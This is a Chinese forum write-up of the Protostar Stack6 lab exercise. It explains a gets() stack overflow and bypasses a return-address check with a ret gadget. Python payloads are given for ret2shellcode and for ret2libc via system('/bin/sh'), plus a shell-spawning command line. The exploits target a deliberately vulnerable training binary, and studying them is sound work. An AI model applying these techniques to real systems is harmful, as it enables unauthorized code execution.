Pwn系列之Protostar靶场 Stack6题解

打印 上一主题 下一主题

主题 755|帖子 755|积分 2265

源码如下:
  1. #include <stdlib.h>
  2. #include <unistd.h>
  3. #include <stdio.h>
  4. #include <string.h>
  5. void getpath()
  6. {
  7.   char buffer[64];
  8.   unsigned int ret;
  9.   printf("input path please: "); fflush(stdout);
  10.   gets(buffer);
  11.   ret = __builtin_return_address(0);
  12.   if((ret & 0xbf000000) == 0xbf000000) {
  13.     printf("bzzzt (%p)\n", ret);
  14.     _exit(1);
  15.   }
  16.   printf("got path %s\n", buffer);
  17. }
  18. int main(int argc, char **argv)
  19. {
  20.   getpath();
  21. }
复制代码
首先,我们先来分析这段程序在做什么?

  • 第1-4行导入一些常见的库函数
  • 第6行定义了getpath()函数
  • 第8行定义了一个buffer数组,数组长度是64
  • 第9行定义了一个unsigned int 变量,变量名ret
  • 第11行打印输出字符串“input path please”
  • 第13行用gets函数向buffer数组写入字符
  • 第15行用编译器的内建函数__builtin_return_address(0)返回当前函数的返回地址,需要进一步说明的是__builtin_return_address(1)是返回调用getpath函数的函数的返回地址(Caller's ret)。
  • 第17行-20行就是判断该返回地址的高位是否是0xbf,如果是,退出函数。
  • 第22行打印buffer的值
不难知道,main函数是Caller,所以第15行的返回值一定就是main函数中的下一条指令的地址,我们来查看一下当程序运行时,系统为该程序分配的栈地址是多少。
先在main函数里打个断点(程序运行后,才会由内存映射),然后使用info proc map查看
  1. Mapped address spaces:
  2.         Start Addr   End Addr       Size     Offset objfile
  3.          0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack6
  4.          0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack6
  5.         0xb7e96000 0xb7e97000     0x1000          0        
  6.         0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
  7.         0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
  8.         0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
  9.         0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
  10.         0xb7fd9000 0xb7fdc000     0x3000          0        
  11.         0xb7fe0000 0xb7fe2000     0x2000          0        
  12.         0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
  13.         0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
  14.         0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
  15.         0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
  16.         0xbffeb000 0xc0000000    0x15000          0           [stack]
复制代码
第17行可以看到,栈空间的首地址是0xbffeb000。所以源代码中的if判断针对性非常强,也就是说没法将getpath的返回地址直接返回到buffer的首地址(因为buffer在栈上),实现ret2shellcode。
但是真的不能利用了吗?显然还有机会!但是机会是有前提的。这道题存在两个假设:

  • 假设栈上可以执行代码(ret2shellcode)
  • 假设栈上不能执行代码(ret2libc)
接下来,我们将根据两个假设做进一步分析。
getpath的汇编代码:
  1. (gdb) disass getpath
  2. Dump of assembler code for function getpath:
  3. 0x08048484 <getpath+0>:        push   ebp
  4. 0x08048485 <getpath+1>:        mov    ebp,esp
  5. 0x08048487 <getpath+3>:        sub    esp,0x68
  6. 0x0804848a <getpath+6>:        mov    eax,0x80485d0
  7. 0x0804848f <getpath+11>:        mov    DWORD PTR [esp],eax
  8. 0x08048492 <getpath+14>:        call   0x80483c0 <printf@plt>
  9. 0x08048497 <getpath+19>:        mov    eax,ds:0x8049720
  10. 0x0804849c <getpath+24>:        mov    DWORD PTR [esp],eax
  11. 0x0804849f <getpath+27>:        call   0x80483b0 <fflush@plt>
  12. 0x080484a4 <getpath+32>:        lea    eax,[ebp-0x4c]
  13. 0x080484a7 <getpath+35>:        mov    DWORD PTR [esp],eax
  14. 0x080484aa <getpath+38>:        call   0x8048380 <gets@plt>
  15. 0x080484af <getpath+43>:        mov    eax,DWORD PTR [ebp+0x4]
  16. 0x080484b2 <getpath+46>:        mov    DWORD PTR [ebp-0xc],eax
  17. 0x080484b5 <getpath+49>:        mov    eax,DWORD PTR [ebp-0xc]
  18. 0x080484b8 <getpath+52>:        and    eax,0xbf000000
  19. 0x080484bd <getpath+57>:        cmp    eax,0xbf000000
  20. 0x080484c2 <getpath+62>:        jne    0x80484e4 <getpath+96>
  21. 0x080484c4 <getpath+64>:        mov    eax,0x80485e4
  22. 0x080484c9 <getpath+69>:        mov    edx,DWORD PTR [ebp-0xc]
  23. 0x080484cc <getpath+72>:        mov    DWORD PTR [esp+0x4],edx
  24. 0x080484d0 <getpath+76>:        mov    DWORD PTR [esp],eax
  25. 0x080484d3 <getpath+79>:        call   0x80483c0 <printf@plt>
  26. 0x080484d8 <getpath+84>:        mov    DWORD PTR [esp],0x1
  27. 0x080484df <getpath+91>:        call   0x80483a0 <_exit@plt>
  28. 0x080484e4 <getpath+96>:        mov    eax,0x80485f0
  29. 0x080484e9 <getpath+101>:        lea    edx,[ebp-0x4c]
  30. 0x080484ec <getpath+104>:        mov    DWORD PTR [esp+0x4],edx
  31. 0x080484f0 <getpath+108>:        mov    DWORD PTR [esp],eax
  32. 0x080484f3 <getpath+111>:        call   0x80483c0 <printf@plt>
  33. 0x080484f8 <getpath+116>:        leave  
  34. 0x080484f9 <getpath+117>:        ret   
  35. End of assembler dump.
复制代码
看汇编代码重点关注的是它的栈结构,尤其是buffer距离ret的距离。我们尝试画出getpath的栈图(大致就可以,不需要画的多细,找距离也是通过构造特殊输入计算的,而不是根据栈图计算的。)

假设一:栈上可以执行代码

正常的ret2shellcode思路:如果栈上可以执行代码,那么我们需要修改ret的返回地址,要控制ret的返回地址到shellcode的首地址,执行shellcode。但现在ret的返回地址会被检查,所以需要在正常思路稍作改动即可。

第一个ret会被检查,那么我们控制第一个ret返回的是getpath的ret指令地址,地址为是0x080484f9。此时成功绕过内建函数检查。接着控制第二个ret指向shellcode的首地址,当运行到第2个ret时,eip加载shellcode的首地址,然后就会跳转到buffer里执行shellcode代码!
要找到ret位置,首先我们构造特殊的字符串
  1. AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
复制代码
然后运行程序
  1. Starting program: /opt/protostar/bin/stack6 < /home/user/exp1.txt
  2. input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
  3. Program received signal SIGSEGV, Segmentation fault.
  4. 0x55555555 in ?? ()
复制代码
在0x55555555中出现段错误,出现段错误的原因是ret跳转指令时发现这个地址无效。所以该地址就是ret的地址。
0x55在我们构造的字符串里是’U‘,所以只要把'U'的地址替换为ret的地址即可。具体修改如下:
  1. (gdb) x /10xw $esp
  2. 0xbffff78c:        0x080484f9        0xbffff794        0xcccccccc        0xbffff800
  3. 0xbffff79c:        0xb7eadc76        0x00000001        0xbffff844        0xbffff84c
  4. 0xbffff7ac:        0xb7fe1848        0xbffff800
复制代码
payload如下:
  1. # 没有真的写shellcode,而是用0xc来模拟
  2. import struct
  3. buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
  4. ret = struct.pack("II",0x080484f9,0xbffff794)
  5. shellcode = struct.pack("I",0xcccccccc)
  6. payload = buffer + ret + shellcode
  7. print payload
复制代码
假设二:栈上不可以执行代码

当栈上无法执行代码时,shellcode写入栈就没有了任何意义。那么如何利用呢?考虑的方法是借助libc库里的可执行函数,比如system()函数。system执行shell需要参数,比如“/bin/sh”字符串,我们同样也需要在libc库空间里找这个字符串。

当程序运行到ret时,ret里记录的是system函数的入口地址,程序就会jmp到system函数,system函数执行需要参数,程序就会读取"/bin/sh"字符串作为参数传递给system函数,这样就构成了system("/bin/sh")命令执行,轻松拿到shell。
如果对整个压栈的过程不是很清楚的同学们可能会疑惑,为什么syetem函数的入口地址和参数之间要隔一个system的返回地址呢?这里我简单做一个解释。
正常调用一个函数他有一个规约,对于一个main函数调用gets(buffer)函数来说,在main函数里会先把buffer参数压栈(如果是多个参数的的话,从右往左压栈),然后call gets函数。call 命令一般会干两件事,第一件事是push eip,也就是把gets函数的下一条指令地址压栈(这就是为什么栈上要放一个ret的返回的地址)。第二件事是jmp gets,跳转到gets的函数入口。
首先在libc里找到system函数的入口地址(为什么可以呢,因为libc库已经被链接到程序里了,所以可以直接搜system函数的地址)
  1. (gdb) p system
  2. $3 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
复制代码
在libc库空间搜索/bin/sh字符串
  1. user@protostar:~$ strings -t d /lib/libc-2.11.2.so | grep "/bin/sh"
  2. 1176511 /bin/sh
复制代码
1176511是一个相对地址(10进制),所以还要加上libc的基址0xb7e97000(查看内存映射可得出)
Payload如下:
  1. import struct
  2. buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
  3. system = struct.pack("I",0xb7ecffb0)
  4. ret = "AAAA"
  5. shellcode = struct.pack("I",0xb7e97000+1176511)
  6. payload = buffer +system+ ret + shellcode
  7. print payload
复制代码
踩坑:
如果直接在gdb里尝试这个Payload会出现一个错误:
  1. __libc_system (line=0xb7fb63bf "/bin/sh") at ../sysdeps/posix/system.c:179
  2. 179        ../sysdeps/posix/system.c: No such file or directory.
  3.         in ../sysdeps/posix/system.c
复制代码
使用下面这条指令,getshell!
  1. (python exp1.py; cat) | /opt/protostar/bin/stack6
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

农妇山泉一亩田

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表